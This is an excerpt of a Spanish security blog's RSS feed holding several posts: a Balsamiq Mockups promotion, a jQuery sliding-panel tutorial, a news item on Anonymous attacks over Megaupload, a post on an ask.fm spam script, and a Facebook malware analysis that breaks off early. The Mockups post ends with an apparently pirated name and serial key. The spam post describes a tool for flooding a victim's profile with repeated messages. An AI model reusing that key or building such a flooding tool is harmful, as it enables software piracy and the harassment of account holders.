(updated figures here), we think we have learned enough about ourselves, our product, our customers and our competitive space to be able to put a stake in the ground and tell the world what we’re about. This document is the result of that thinking. &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Our sweet spot: the ideation phase.&lt;/li&gt;&lt;li&gt;Excruciatingly simple, filled with hidden powers.&lt;/li&gt;&lt;li&gt;Wireframing + real running code is way better than prototyping.&lt;/li&gt;&lt;li&gt;Low in cost, high in quality, built with love.&lt;/li&gt;&lt;li&gt;We love the problem even more than our solution.&lt;/li&gt;&lt;li&gt;We consider you our peers.&lt;/li&gt;&lt;li&gt;Our vision&lt;/li&gt;&lt;li&gt;Smaller company, better service.&lt;/li&gt;&lt;li&gt;We’re here to stay&lt;/li&gt;&lt;li&gt;We’re good citizens&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Mockups really shines during the early stage of designing a new interface. &lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src=&quot;http://www.balsamiq.com/img/mockupsMakesYouAwesome.png&quot; width=&quot;500&quot; /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Mockups is zenware, meaning that it will help you get “in the zone”, and stay there. Our aim is for you to forget our software is there at all. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Mockups offers the same speed and rough feel as sketching with a pencil&lt;/b&gt;, but with the advantage of the digital medium: enlarging containers is just a drag operation, rearranging elements doesn’t require starting over, and your wireframes will be clear enough that you’ll be able to make sense of them tomorrow. &lt;br /&gt;&lt;br /&gt;Mockups &lt;b&gt;should make work fun&lt;/b&gt;. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src=&quot;http://www.balsamiq.com/img/mockupsInTheMiddle.png&quot; width=&quot;500&quot; /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Mockups also excels as a communication tool, a way for the whole team to come together around the right design. &lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;it enables Product Managers to better present requirements with a tool as easy to use as Powerpoint.&lt;/li&gt;&lt;li&gt;it’s polished enough for UX Designers to use, with all the familiar keyboard shortcuts of the Creative Suite tools.&lt;/li&gt;&lt;li&gt;it’s fast, geeky and very power-user-friendly. Developers love that.&lt;/li&gt;&lt;li&gt;it’s so easy to learn, clients and customers can use it &lt;i&gt;(for free even)&lt;/i&gt;, to describe their needs more clearly&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Mockups intentionally makes your wireframes scream both “This is not final!” and “I just threw this together“, eliciting honest feedback, which results in better wireframes, which results in easier to use features, which results in happier users of your software or website, which is what it’s all about. &lt;br /&gt;&lt;br /&gt;We realize being “the in-between tool” is a hard balance to strike, but we think we’re doing a pretty good job at it and we’re committed to it. It’s why we created Mockups in the first place. &lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;http://www.balsamiq.com/&quot; target=&#39;_blank&#39;&gt;balsamiq.com&lt;/a&gt;&lt;br/&gt;Descargar &lt;a href=&quot;http://builds.balsamiq.com/b/mockups-desktop/MockupsForDesktop.exe&quot; target=&#39;_blank&#39;&gt;MockupsForDesktop.exe&lt;/a&gt;&lt;pre class=&quot;brush: php&quot;&gt;&lt;br /&gt;# NAME: tstar21&lt;br /&gt;# S/N : eJzzzU/OLi0odswsqikpLkksMjKssUQCNc41hjV+7q5+ACSaDUQ=&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2012/05/diagramar-esquema-de-una-pagina-web_2741.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-bX9G4ZCKOwo/T6hiVRKgSZI/AAAAAAAAARk/2kiMMchizhc/s72-c/app.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-5919361208480610836</guid><pubDate>Mon, 20 Feb 2012 21:54:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.664-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">html5</category><category domain="http://www.blogger.com/atom/ns#">jQuery</category><title>Panel Vertical/Horizontal desplegable con jQuery</title><description>&lt;div class=&quot;IMGpequena&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;278&quot; src=&quot;http://4.bp.blogspot.com/-qTSsTdEL4cU/T6hMGT_EvzI/AAAAAAAAARY/E3J5LMwYrBg/s320/tracker.png&quot; width=&quot;320&quot; /&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;Por cosas raras de la vida, necesitaba construir dos panales: &lt;i&gt;uno horizontal&lt;/i&gt; y &lt;i&gt;otro vertical&lt;/i&gt;, para la construcción de una aplicación, me costo un poco de trabajo y tiempo, así que lo compartiré con ustedes.&lt;br /&gt;&lt;br /&gt;Aprenderemos a crear nuestro propio panel lateral desplegable basado en jQuery. Lo haremos partiendo de cero y explicándolo como siempre paso a paso, de forma que todos podamos comprender cómo funciona. Todo ello inspirándonos en el panel lateral de Google Reader.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://dl.dropbox.com/u/71932290/blog/tracker.zip&quot; target=&quot;_blank&quot;&gt;ARCHIVOS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;ESTRUCTURA HTML&lt;/h3&gt;&lt;i&gt;html5&lt;/i&gt;&lt;br /&gt;&lt;pre class=&quot;brush: html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;&amp;lt;html id=&quot;home&quot; lang=&quot;en&quot;&amp;gt;&lt;br /&gt;    &amp;lt;head&amp;gt;&lt;br /&gt;        &amp;lt;meta charset=utf-8 /&amp;gt;&lt;br /&gt;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/style.css&quot; /&amp;gt;&lt;br /&gt;        &amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;        &amp;lt;script src=&quot;js/toggler.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;        &amp;lt;title&amp;gt;PoC&amp;lt;/title&amp;gt;&lt;br /&gt;    &amp;lt;/head&amp;gt;&lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;section id=&quot;wrapper&quot;&amp;gt;&lt;br /&gt;            &amp;lt;header&amp;gt;&lt;br /&gt;                #header&lt;br /&gt;            &amp;lt;/header&amp;gt;&lt;br /&gt;            &lt;br /&gt;            &amp;lt;section id=&quot;slideLeft&quot;&amp;gt;&lt;br /&gt;                &amp;lt;div id=&quot;content&quot;&amp;gt;&lt;br /&gt;                    #slideLeft&lt;br /&gt;                &amp;lt;/div&amp;gt;&lt;br /&gt;            &amp;lt;/section&amp;gt;&lt;br /&gt;            &lt;br /&gt;            &amp;lt;section id=&quot;contenido&quot;&amp;gt;&lt;br /&gt;                &amp;lt;h1&amp;gt;#contenido&amp;lt;/h1&amp;gt;&lt;br /&gt;                &amp;lt;div id=&quot;togglerSlideLeft&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;                &amp;lt;div id=&quot;render&quot;&amp;gt;&lt;br /&gt;                    #contenido&lt;br /&gt;                &amp;lt;/div&amp;gt;&lt;br /&gt;            &amp;lt;/section&amp;gt;&lt;br /&gt;            &lt;br /&gt;            &amp;lt;section id=&quot;slideBottom&quot;&amp;gt;&lt;br /&gt;                &amp;lt;div id=&quot;togglerSlideBottom&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;                &amp;lt;div id=&quot;content&quot;&amp;gt;&lt;br /&gt;                    #slideBottom&lt;br /&gt;                &amp;lt;/div&amp;gt;&lt;br /&gt;            &amp;lt;/section&amp;gt;&lt;br /&gt;            &lt;br /&gt;            &amp;lt;footer&amp;gt;&lt;br /&gt;                &amp;lt;span&amp;gt;&lt;br /&gt;                    #footer&lt;br /&gt;                &amp;lt;/span&amp;gt;&lt;br /&gt;            &amp;lt;/footer&amp;gt;&lt;br /&gt;        &amp;lt;/section&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;APLICANDO ESTILOS&lt;/h3&gt;&lt;i&gt;css/style.css&lt;/i&gt;&lt;br /&gt;&lt;pre class=&quot;brush: css&quot;&gt;*{ padding:0; margin:0; }&lt;br /&gt;html,body{ height:100%; overflow:hidden; }&lt;br /&gt;body{ font-family:Helvetica, Arial, sans-serif; font-size:12px !Important; }&lt;br /&gt;&lt;br /&gt;header{ height:40px; padding:10px; border-bottom:1px solid #c9d7f1; }&lt;br /&gt;&lt;br /&gt;#slideLeft{ width:260px; height:100%; float:left; }&lt;br /&gt;#slideLeft #content{ padding:10px; }&lt;br /&gt;&lt;br /&gt;#contenido{ height:100%; margin-left:260px; }&lt;br /&gt;#contenido h1{ height:40px; padding:0 10px; background:#c2cff1; font-size:18px; font-weight:bold; }&lt;br /&gt;#contenido #togglerSlideLeft{ width:16px; border-left:1px solid #c2cff1; background:#EBEFF9 url(&quot;../img/togglerLeft.gif&quot;) no-repeat left center; float:left; }&lt;br /&gt;#contenido #togglerSlideLeft:hover{ background: #c2cff1 url(&quot;../img/togglerLeft.gif&quot;) no-repeat -25px center; cursor:pointer; }&lt;br /&gt;#contenido #togglerSlideLeft.off{ background: #EBEFF9 url(&quot;../img/togglerRight.gif&quot;) no-repeat left center; margin-left:0; }&lt;br /&gt;#contenido #togglerSlideLeft.off:hover{ background: #c2cff1 url(&quot;../img/togglerRight.gif&quot;) no-repeat -25px center; margin-left:0; }&lt;br /&gt;&lt;br /&gt;#slideBottom{ width:100%; }&lt;br /&gt;#slideBottom #togglerSlideBottom{ width:100%; height:16px; border-top:1px solid #8c9dc8; background:#EBEFF9 url(&quot;../img/togglerDown.gif&quot;) no-repeat top center; }&lt;br /&gt;#slideBottom #togglerSlideBottom:hover{ background: #c2cff1 url(&quot;../img/togglerDown.gif&quot;) no-repeat center -25px; cursor:pointer; }&lt;br /&gt;#slideBottom #togglerSlideBottom.offBottom{ background: #EBEFF9 url(&quot;../img/togglerUp.gif&quot;) no-repeat top center; margin-left:0; }&lt;br /&gt;#slideBottom #togglerSlideBottom.offBottom:hover{ background: #c2cff1 url(&quot;../img/togglerUp.gif&quot;) no-repeat center -25px; margin-left:0; }&lt;br /&gt;#slideBottom #content{ padding:10px; }&lt;br /&gt;&lt;br /&gt;footer{ width:100%; height:30px; text-align:right; line-height:30px; border-top:1px solid #8c9dc8; background:#C2CFF1; position:fixed; bottom:0; }&lt;br /&gt;footer span{ padding-right:10px; }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;AÑADIENDO INTERACCIÓN CON JQUERY&lt;/h3&gt;&lt;i&gt;js/jQuery.js&lt;br /&gt;js/toggler.js&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Todo ira dentro de,&lt;br /&gt;&lt;pre class=&quot;brush: js&quot;&gt;$(document).ready(function(){ &lt;/pre&gt;&lt;br /&gt;Tendremos unas variables predefinidas,&lt;br /&gt;&lt;pre class=&quot;brush: js&quot;&gt;// Variables para saber el estado de los slide&#39;s&lt;br /&gt;    var estadoSlideLeft = true;&lt;br /&gt;    var estadoSlideBottom = true;&lt;br /&gt;    &lt;br /&gt;    // Variables con los elementos de la pagina.&lt;br /&gt;    var contenido = $(&quot;#contenido&quot;);&lt;br /&gt;    var slideLeft = $(&quot;#slideLeft&quot;);&lt;br /&gt;    var slideBottom = $(&quot;#slideBottom&quot;);&lt;br /&gt;    var togglerSlideLeft = $(&quot;#togglerSlideLeft&quot;);&lt;br /&gt;    var togglerSlideBottom = $(&quot;#togglerSlideBottom&quot;);&lt;br /&gt;    var render = $(&quot;#render&quot;);&lt;br /&gt;    &lt;br /&gt;    // Variables con la medida reservada del slideBottom&lt;br /&gt;    var slideBottomHeight = 150;&lt;br /&gt;    var slideBottomWidth = 0;&lt;br /&gt;&lt;br /&gt;    // Variables para las medidas&lt;br /&gt;    var windowHeight;&lt;br /&gt;    var togglerHeight;&lt;br /&gt;    var renderHeight;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Tendremos funciones que se ejecutarán inicialmente,&lt;br /&gt;&lt;pre class=&quot;brush: js&quot;&gt;// Calcular y aplicar medidas actuales al iniciar.&lt;br /&gt;    calcularMedidas();&lt;br /&gt;    aplicarMedidas();&lt;br /&gt;    &lt;br /&gt;    // Calcular y aplicar medidas actuales al cambiar el tamaño.&lt;br /&gt;    $(window).resize(function(){&lt;br /&gt;        calcularMedidas();&lt;br /&gt;        aplicarMedidas();&lt;br /&gt;    });&lt;br /&gt;&lt;br /&gt;    // Función para calculas las medidas&lt;br /&gt;    function calcularMedidas(){&lt;br /&gt;        windowHeight = document.documentElement.clientHeight;&lt;br /&gt;        &lt;br /&gt;        togglerHeight = (windowHeight - 51 - 40 - 31 - slideBottomHeight);&lt;br /&gt;        renderHeight = (windowHeight - 51 - 40 - 31 - slideBottomHeight);&lt;br /&gt;        slideBottomHeight = (slideBottomHeight - 21);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    // Función para aplicar las medidas&lt;br /&gt;    function aplicarMedidas(){&lt;br /&gt;        slideBottom.css( &quot;height&quot;, slideBottomHeight + &#39;px&#39; );&lt;br /&gt;        render.css( &quot;height&quot;, renderHeight + &quot;px&quot; );&lt;br /&gt;        togglerSlideLeft.css( &quot;height&quot;, togglerHeight  +&quot;px&quot; );&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;y finalmente, las dos funciones que se agregarán a los toggles &lt;i&gt;horizontal&lt;/i&gt; y &lt;i&gt;vertical&lt;/i&gt;,&lt;br /&gt;&lt;pre class=&quot;brush: js&quot;&gt;// Agregar evento click del toggler la función.&lt;br /&gt;    togglerSlideLeft.click( displaySlideLeft );&lt;br /&gt;    togglerSlideBottom.click( displaySlideBottom );&lt;br /&gt;&lt;br /&gt;    // Función para mostrar/ocultar el slideLeft&lt;br /&gt;    function displaySlideLeft(){&lt;br /&gt;        if( estadoSlideLeft ){&lt;br /&gt;            slideLeft.hide();&lt;br /&gt;            contenido.css(&quot;margin-left&quot;, &quot;0&quot;);&lt;br /&gt;            togglerSlideLeft.addClass(&quot;off&quot;);&lt;br /&gt;            estadoSlideLeft = false;&lt;br /&gt;        }else{&lt;br /&gt;            slideLeft.show();&lt;br /&gt;            contenido.css( &quot;margin-left&quot;, slideLeft.width()+&#39;px&#39; );&lt;br /&gt;            togglerSlideLeft.removeClass(&quot;off&quot;);&lt;br /&gt;            estadoSlideLeft = true;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    // Función para mostrar/ocultar el slideBottom&lt;br /&gt;    function displaySlideBottom(){&lt;br /&gt;        if( estadoSlideBottom ){&lt;br /&gt;            slideBottomWidth = contenido.height() + parseInt(slideBottomHeight) - 6;&lt;br /&gt;            slideLeft.css(&quot;height&quot;, slideBottomWidth + &#39;px&#39; );&lt;br /&gt;            togglerSlideLeft.css(&quot;height&quot;, (slideBottomWidth - 40) + &#39;px&#39; );&lt;br /&gt;            contenido.css(&quot;height&quot;, slideBottomWidth + &#39;px&#39; );&lt;br /&gt;            render.css( &quot;height&quot;, slideBottomWidth + &quot;px&quot; );&lt;br /&gt;            togglerSlideBottom.addClass(&quot;offBottom&quot;);&lt;br /&gt;            estadoSlideBottom = false;&lt;br /&gt;        }else{&lt;br /&gt;            slideBottomWidth = contenido.height() - parseInt(slideBottomHeight) + 6;&lt;br /&gt;            slideLeft.css(&quot;height&quot;, slideBottomWidth + &#39;px&#39; );&lt;br /&gt;            togglerSlideLeft.css(&quot;height&quot;, (slideBottomWidth - 40) + &#39;px&#39; );&lt;br /&gt;            contenido.css(&quot;height&quot;, slideBottomWidth + &#39;px&#39; );&lt;br /&gt;            togglerSlideBottom.removeClass(&quot;offBottom&quot;);&lt;br /&gt;            estadoSlideBottom = true;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;El código complento esta en, &lt;a href=&quot;http://pastebin.com/cW15uu5i&quot; target=&quot;_blank&quot;&gt;pastebin.com/cW15uu5i&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;http://web.ontuts.com/tutoriales/creando-un-panel-lateral-desplegable-en-jquery/&quot;&gt;Creando un panel lateral desplegable en jQuery&lt;/a&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2012/02/panel-verticalhorizontal-desplegable_8820.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-qTSsTdEL4cU/T6hMGT_EvzI/AAAAAAAAARY/E3J5LMwYrBg/s72-c/tracker.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-1446851708301838545</guid><pubDate>Sat, 21 Jan 2012 06:34:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.677-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Anonymous</category><title>¿quién desató la guerra cibernética en estados unidos?</title><description>&lt;div class=&quot;IMGpequena&quot;&gt;&lt;img height=&quot;176&quot; src=&quot;http://3.bp.blogspot.com/-q98n0ALvhBg/TxpM7KOnYxI/AAAAAAAACTg/jcUEpXL5jhY/s320/megaupload_mafalda.jpg&quot; width=&quot;320&quot; /&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;La red está en guerra. El grupo &lt;a href=&quot;http://actualidad.rt.com/tag/865&quot; target=&quot;_blank&quot;&gt;Anonymous&lt;/a&gt; &lt;a href=&quot;http://actualidad.rt.com/actualidad/ee_uu/issue_35084.html&quot; target=&quot;_blank&quot;&gt;ha saboteado los sitios web del FBI&lt;/a&gt;, el Ministerio de Justicia estadounidense y algunas casas discográficas en protesta contra el cierre del portal Megaupload. Pero los analistas creen que esta guerra cibernética fue desatada por las mismas autoridades que intentando controlar la red no dejaron otra salida a la ciudadanía que luchar. &lt;br /&gt;&lt;br /&gt;En un vídeo colgado en YouTube, un grupo de activistas de Anonymus asumió la responsabilidad de los sabotajes de los portales del Gobierno federal estadounidense, entre ellos el sitio del FBI, de Justicia y de la Casa Blanca. 5.000 usuarios asociados a este grupo lograron dejar inaccesibles esos portales generando una sobrecarga por numerosas entradas a sus páginas de internet. &quot;Somos el 99%, somos Anonymous&quot;, publicó el grupo en la red social de Twitter. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://actualidad.rt.com/ciencia_y_tecnica/internet_redes/issue_34977.html&quot; target=&quot;_blank&quot;&gt;Google y Wikipedia se habían unido a la protesta&lt;/a&gt; y se alcanzaron los primeros resultados de la lucha: el Congreso estadounidense decidió hace unas horas posponer los debates de las leyes contra la piratería cibernética.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;IMGpequena&quot;&gt;&lt;object height=&quot;300&quot; width=&quot;380&quot;&gt; &lt;param name=&quot;movie&quot; value=&quot;http://actualidad.rt.com/swf/player.swf?file=http://actualidad.rt.com/images/publications/32/video_issue_35110.flv&amp;image=http://actualidad.rt.com/images/publications/32/slide_issue_35110.jpg&amp;controlbar=over&amp;skin=http://actualidad.rt.com/swf/skin/stylish1.swf&amp;streamer=lighttpd&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://actualidad.rt.com/swf/player.swf?file=http://actualidad.rt.com/images/publications/32/video_issue_35110.flv&amp;image=http://actualidad.rt.com/images/publications/32/slide_issue_35110.jpg&amp;controlbar=over&amp;skin=http://actualidad.rt.com/swf/skin/stylish1.swf&amp;streamer=lighttpd&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot; width=&quot;380&quot; height=&quot;300&quot; /&gt; &lt;/object&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;El miembro de la organización Vamos Unidos USA Juan José Gutiérrez cree que la Casa Blanca está preocupada porque no puede controlar la información en la red. Y por eso Washington incrementa el espionaje no solo a sus ciudadanos, sino al resto de personas en internet. &lt;br /&gt;&lt;br /&gt;La guerra cibernética ya ha comenzado. No creo que la inició la ciudadanía, más bien pienso que la iniciaron los gobiernos que están preocupados porque circulan sin controles ideas, se intercambian materiales entre los ciudadanos de países a larga y corta distancia y a final de cuentas de todo el mundo. Particularmente si eso implica acción social que cuestione el autoritarismo, ese está siendo el sentir desde hace años por parte de las autoridades en contra de la ciudadanía&quot;, comentó Gutiérrez a RT. &lt;br /&gt;&lt;br /&gt;El analista considera que EE. UU. no solamente puede incrementar el espionaje en contra de sus ciudadanos y de sus no ciudadanos en todo el mundo, &quot;de hecho lo han estado incrementando. Básicamente las autoridades decidirían quiénes, bajo sospecha de estar infringiendo las leyes de derecho de autor, las autoridades tendrían el derecho de proceder en contra de estas personas antes de que se pudiera comprobar culpabilidad. Eso demuestra una vez más lo erróneo de estas políticas porque una vez más bajo el argumento de proteger en este caso la propiedad intelectual -la música, películas y otros contenidos de carácter comercial-, lo que realmente se estaría haciendo es restringir y sumarle control a la red. Es decir, la ciudadanía tendría cada vez menos control sobre esta herramienta de información y de intercambio de información&quot;, dijo. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://actualidad.rt.com/actualidad/ee_uu/issue_35086.html&quot; target=&quot;_blank&quot;&gt;Algunos expertos, como por ejemplo Barrett Brown, un colaborador de Anonymous, creen que estos conflictos entre los activistas de la red y las autoridades de EE. UU. en el mundo podrían escalar a niveles desproporcionados.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&quot;El problema es que el comportamiento del Gobierno norteamericano y el del resto de países, en el caso de que les otorguemos poderes para hacer una cosa, casi siempre la interpretan a su manera para que puedan hacer cosas aún mayores. El operativo contra el sitio Megaupload demuestra que incluso antes de que la Ley antipirata entre en vigor, han arrestado a sus dueños y han cerrado la página. Imagínense qué sucederá cuando aprueben la SOPA. Mi grupo ya inició una operación pensada para asegurarnos de que SOPA sea derrotada y los que la apoyan resulten intimidados, para que estemos seguros de que no vuelven a pasar cosas como esta&quot;, contó a RT Barrett Brown. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Articulo completo en:&lt;/b&gt; http://actualidad.rt.com/actualidad/ee_uu/issue_35110.html&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2012/01/quien-desato-la-guerra-cibernetica-en_7835.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-q98n0ALvhBg/TxpM7KOnYxI/AAAAAAAACTg/jcUEpXL5jhY/s72-c/megaupload_mafalda.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-2890505704587051356</guid><pubDate>Fri, 06 Jan 2012 08:05:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.689-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ask.fm</category><category domain="http://www.blogger.com/atom/ns#">script</category><title>FuckingAskFM! SCRIPT SPAM para ASK.FM</title><description>&lt;div class=&quot;IMGpequena&quot;&gt;&lt;img src=&quot;http://ask.fm/images/download/ask_fm-logo-200x200.png&quot; /&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;Caprichos y más caprichos, este es uno de los tantos que tengo ahora, y como no tengo nada que hacer y mi novia esta de viaje, pues que más se puede hacer, y para divertirme un rato &lt;b&gt;FuckingAskFM!&lt;/b&gt;... &lt;br /&gt;&lt;br /&gt;Después de haber hablado un poco del &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2011/12/el-peligro-de-usar-askfm.html&quot; target=&quot;_blank&quot;&gt;peligro de usar ese famoso sistema&lt;/a&gt; de preguntas llamado &lt;strike&gt;Fucking&lt;/strike&gt;&lt;a href=&quot;http://ask.fm/&quot; target=&quot;_blank&quot;&gt;Ask.FM&lt;/a&gt; y nadie sigue los concejos pues decidí crear un script de SPAM &lt;i&gt;( y más que todo, un metodo para promocionar mi blog ajjaja)&lt;/i&gt;, para ver si algún día se acabe esa perderá de tiempo &lt;i&gt;(no se que le ven de bueno responder preguntas)&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;El script consiste en enviar muchos mensajes al mismo perfil para saturar la cuenta, &lt;i&gt;(y molestar personas jajaja)&lt;/i&gt; para que al fin se den cuenta de que eso no sirve, es una mierda. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Viernes 6 de Enero de 2012 - 2:40AM&lt;/b&gt;&lt;br /&gt;Hasta el momento, tengo es script que manda las solicitudes, ahora no más falta diseñar algo básico para la presentación. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Viernes 6 de Enero de 2012 - 3:30AM&lt;/b&gt;&lt;br /&gt;Ya tengo el diseño, hasta ahora el script funciona de la siguiente manera: &lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt;Se ingresa el nick del usuario victima.&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt;Se ingresa el mensaje SPAM.&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt;Se ingresa el número de veces que se realizará la petición.&lt;br /&gt;&lt;br /&gt;Ahora, sólo queda montarlo a mi hosting. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Viernes 6 de Enero de 2012 - 4:04AM&lt;/b&gt;&lt;br /&gt;Ya esta todo listo, quedaré a la espera de ahora levantarme temprano y codearlo de forma automática. &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: xx-small;&quot;&gt;Más información ver la nota mental.&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;NOTA MENTAL&lt;/b&gt;&lt;br /&gt;Se me ha ocurrido, esparcir mi script automáticamente, realizando primero una petición a la pagina principal de &lt;a href=&quot;http://ask.fm/&quot; target=&quot;_blank&quot;&gt;Ask.FM&lt;/a&gt; sacando los perfiles que se muestran en el footer &lt;i&gt;(más publicidad muhahahaha)&lt;/i&gt;. &lt;br /&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2012/01/fuckingaskfm-script-spam-para-askfm_9945.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-2438917846573966342</guid><pubDate>Sat, 31 Dec 2011 08:36:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.701-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Off Topic</category><title>Feliz año nuevo amigos h4x0rs! [2012]</title><description>&lt;center&gt;&lt;img height=&quot;305&quot; src=&quot;http://dscleon.files.wordpress.com/2010/10/h4x0rs.png&quot; width=&quot;400&quot; /&gt;&lt;/center&gt;  &lt;br /&gt;&lt;div class=&quot;contenido-post&quot;&gt;Él, mi gran mentor, un dia me dijo que mi vida era como un gran libro que se escribe día tras día y que lo cierre cuando se acabe. Él me lo enseño todo, mi vida y espíritu me pertenecen y sin él no sería lo que soy ahora. &lt;br /&gt;&lt;br /&gt;Feliz navidad mis queridos amigos... &lt;br /&gt;@&lt;a href=&quot;http://www.facebook.com/profile.php?id=1085231737&quot;&gt;Kevin Astroz&lt;/a&gt;, @&lt;a href=&quot;http://www.facebook.com/darioxhcx&quot;&gt;Dario Skywálker&lt;/a&gt;, @&lt;a href=&quot;http://www.facebook.com/MikeSoft&quot;&gt;Mike Brian&lt;/a&gt; y a los muchos otros que me ayudaron...&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/12/feliz-ano-nuevo-amigos-h4x0rs-2012_6370.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-148609964604497943</guid><pubDate>Tue, 20 Dec 2011 05:50:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.714-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Facebook</category><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>LA NUEVA VARIANTE DEL MALWARE DE FACEBOOK</title><description>&lt;div class=&quot;IMGpequena&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;280&quot; src=&quot;http://3.bp.blogspot.com/-lIO8khMonWc/T6NYeA88i7I/AAAAAAAAARA/Fp4HjvvHcpA/s400/facebook.png&quot; width=&quot;400&quot; /&gt;&lt;/div&gt;&lt;div class=&quot;contenido-post&quot;&gt;Ya es demasiado para caer de nuevo en los malwares de esta red social. &lt;br /&gt;&lt;br /&gt;De nuevo el mismo malware se esta esparciendo por toda la red social como si nunca hubiera existido, ya se ha explicado muchas veces que hay que tener cuidado con los enlaces externos. &lt;br /&gt;&lt;br /&gt;Lo que me llama la atención es que cambiaron la interface por una más, como se podría llamar eso, ¿Llamativa?, ya que ahora parece como si estuvieras ingresando a &lt;a href=&quot;http://www.youtube.com/&quot; target=&quot;_blank&quot;&gt;youtube.com&lt;/a&gt;, &lt;i&gt;-cabe destacar que tiene la nueva interfaz de usuario-&lt;/i&gt;, hay que darle puntos por ser tan creativo. &lt;br /&gt;&lt;br /&gt;Analizaré de nuevo el código a ver sí lo han mejorado un poco, la primer dirección que tengo es &lt;a href=&quot;http://woutubewatch1.blogspot.com/&quot; target=&quot;_blank&quot;&gt;woutubewatch1.blogspot.com&lt;/a&gt;, y tenemos lo siguiente, &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img border=&quot;0&quot; height=&quot;233&quot; 